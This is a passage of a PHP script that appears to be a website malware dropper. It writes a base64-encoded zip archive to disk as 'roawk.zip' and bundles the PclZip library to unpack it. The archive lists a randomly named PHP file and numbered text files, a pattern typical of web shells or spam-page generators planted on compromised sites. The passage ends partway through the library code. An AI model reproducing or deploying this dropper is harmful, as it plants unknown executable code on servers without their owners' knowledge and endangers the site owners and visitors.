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"); file_put_contents("roawk.zip",$data); if (!defined('PCLZIP_READ_BLOCK_SIZE')) { define( 'PCLZIP_READ_BLOCK_SIZE', 2048 ); } if (!defined('PCLZIP_SEPARATOR')) { define( 'PCLZIP_SEPARATOR', ',' ); } if (!defined('PCLZIP_ERROR_EXTERNAL')) { define( 'PCLZIP_ERROR_EXTERNAL', 0 ); } if (!defined('PCLZIP_TEMPORARY_DIR')) { define( 'PCLZIP_TEMPORARY_DIR', '' ); } if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) { define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 ); } $g_pclzip_version = "2.8.2"; define( 'PCLZIP_ERR_USER_ABORTED', 2 ); define( 'PCLZIP_ERR_NO_ERROR', 0 ); define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 ); define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 ); define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 ); define( 'PCLZIP_ERR_MISSING_FILE', -4 ); define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 ); define( 'PCLZIP_ERR_INVALID_ZIP', -6 ); define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 ); define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 ); define( 'PCLZIP_ERR_BAD_EXTENSION', -9 ); define( 'PCLZIP_ERR_BAD_FORMAT', -10 ); define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 ); define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 ); define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 ); define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 ); define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 ); define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 ); define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 ); define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 ); define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 ); define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 ); define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 ); define( 'PCLZIP_OPT_PATH', 77001 ); define( 'PCLZIP_OPT_ADD_PATH', 77002 ); define( 'PCLZIP_OPT_REMOVE_PATH', 77003 ); define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 ); define( 'PCLZIP_OPT_SET_CHMOD', 77005 ); define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 ); define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 ); define( 'PCLZIP_OPT_BY_NAME', 77008 ); define( 'PCLZIP_OPT_BY_INDEX', 77009 ); define( 'PCLZIP_OPT_BY_EREG', 77010 ); define( 'PCLZIP_OPT_BY_PREG', 77011 ); define( 'PCLZIP_OPT_COMMENT', 77012 ); define( 'PCLZIP_OPT_ADD_COMMENT', 77013 ); define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 ); define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 ); define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 ); define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 ); define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 ); define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 ); define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 ); define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 ); define( 'PCLZIP_ATT_FILE_NAME', 79001 ); define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 ); define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 ); define( 'PCLZIP_ATT_FILE_MTIME', 79004 ); define( 'PCLZIP_ATT_FILE_CONTENT', 79005 ); define( 'PCLZIP_ATT_FILE_COMMENT', 79006 ); define( 'PCLZIP_CB_PRE_EXTRACT', 78001 ); define( 'PCLZIP_CB_POST_EXTRACT', 78002 ); define( 'PCLZIP_CB_PRE_ADD', 78003 ); define( 'PCLZIP_CB_POST_ADD', 78004 ); class PclZip { var $zipname = ''; var $zip_fd = 0; var $error_code = 1; var $error_string = ''; var $magic_quotes_status; function PclZip($p_zipname) { if (!function_exists('gzopen')) { die('Abort '.basename(__FILE__).' : Missing zlib extensions'); } $this->zipname = $p_zipname; $this->zip_fd = 0; $this->magic_quotes_status = -1; return; } function create($p_filelist) { $v_result=1; $this->privErrorReset(); $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; $v_size = func_num_args(); if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_ADD => 'optional', PCLZIP_CB_POST_ADD => 'optional', PCLZIP_OPT_NO_COMPRESSION => 'optional', PCLZIP_OPT_COMMENT => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if ($v_result != 1) { return 0; } } else { $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); if (is_array($p_filelist)) { if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } else { $v_string_list = $p_filelist; } } else if (is_string($p_filelist)) { $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); return 0; } if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { if ($v_string != '') { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } else { } } } $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' ,PCLZIP_ATT_FILE_MTIME => 'optional' ,PCLZIP_ATT_FILE_CONTENT => 'optional' ,PCLZIP_ATT_FILE_COMMENT => 'optional' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } return $p_result_list; } function add($p_filelist) { $v_result=1; $this->privErrorReset(); $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; $v_size = func_num_args(); if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_ADD => 'optional', PCLZIP_CB_POST_ADD => 'optional', PCLZIP_OPT_NO_COMPRESSION => 'optional', PCLZIP_OPT_COMMENT => 'optional', PCLZIP_OPT_ADD_COMMENT => 'optional', PCLZIP_OPT_PREPEND_COMMENT => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if ($v_result != 1) { return 0; } } else { $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); if (is_array($p_filelist)) { if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } else { $v_string_list = $p_filelist; } } else if (is_string($p_filelist)) { $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist"); return 0; } if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } } $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' ,PCLZIP_ATT_FILE_MTIME => 'optional' ,PCLZIP_ATT_FILE_CONTENT => 'optional' ,PCLZIP_ATT_FILE_COMMENT => 'optional' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } return $p_result_list; } function listContent() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $p_list = array(); if (($v_result = $this->privList($p_list)) != 1) { unset($p_list); return(0); } return $p_list; } function extract() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_path = ''; $v_remove_path = ""; $v_remove_all_path = false; $v_size = func_num_args(); $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if ($v_size > 0) { $v_arg_list = func_get_args(); if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => 'optional', PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_EXTRACT => 'optional', PCLZIP_CB_POST_EXTRACT => 'optional', PCLZIP_OPT_SET_CHMOD => 'optional', PCLZIP_OPT_BY_NAME => 'optional', PCLZIP_OPT_BY_EREG => 'optional', PCLZIP_OPT_BY_PREG => 'optional', PCLZIP_OPT_BY_INDEX => 'optional', PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional', PCLZIP_OPT_REPLACE_NEWER => 'optional' ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if ($v_result != 1) { return 0; } if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { $v_path .= '/'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } } else { $v_path = $v_arg_list[0]; if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $p_list = array(); $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options); if ($v_result < 1) { unset($p_list); return(0); } return $p_list; } function extractByIndex($p_index) { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_path = ''; $v_remove_path = ""; $v_remove_all_path = false; $v_size = func_num_args(); $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => 'optional', PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_EXTRACT => 'optional', PCLZIP_CB_POST_EXTRACT => 'optional', PCLZIP_OPT_SET_CHMOD => 'optional', PCLZIP_OPT_REPLACE_NEWER => 'optional' ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if ($v_result != 1) { return 0; } if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { $v_path .= '/'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; } else { } } else { $v_path = $v_arg_list[0]; if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); $v_options_trick = array(); $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, array (PCLZIP_OPT_BY_INDEX => 'optional' )); if ($v_result != 1) { return 0; } $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; $this->privOptionDefaultThreshold($v_options); if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { return(0); } return $p_list; } function delete() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_size = func_num_args(); if ($v_size > 0) { $v_arg_list = func_get_args(); $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_BY_NAME => 'optional', PCLZIP_OPT_BY_EREG => 'optional', PCLZIP_OPT_BY_PREG => 'optional', PCLZIP_OPT_BY_INDEX => 'optional' )); if ($v_result != 1) { return 0; } } $this->privDisableMagicQuotes(); $v_list = array(); if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { $this->privSwapBackMagicQuotes(); unset($v_list); return(0); } $this->privSwapBackMagicQuotes(); return $v_list; } function deleteByIndex($p_index) { $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); return $p_list; } function properties() { $this->privErrorReset(); $this->privDisableMagicQuotes(); if (!$this->privCheckFormat()) { $this->privSwapBackMagicQuotes(); return(0); } $v_prop = array(); $v_prop['comment'] = ''; $v_prop['nb'] = 0; $v_prop['status'] = 'not_exist'; if (@is_file($this->zipname)) { if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) { $this->privSwapBackMagicQuotes(); 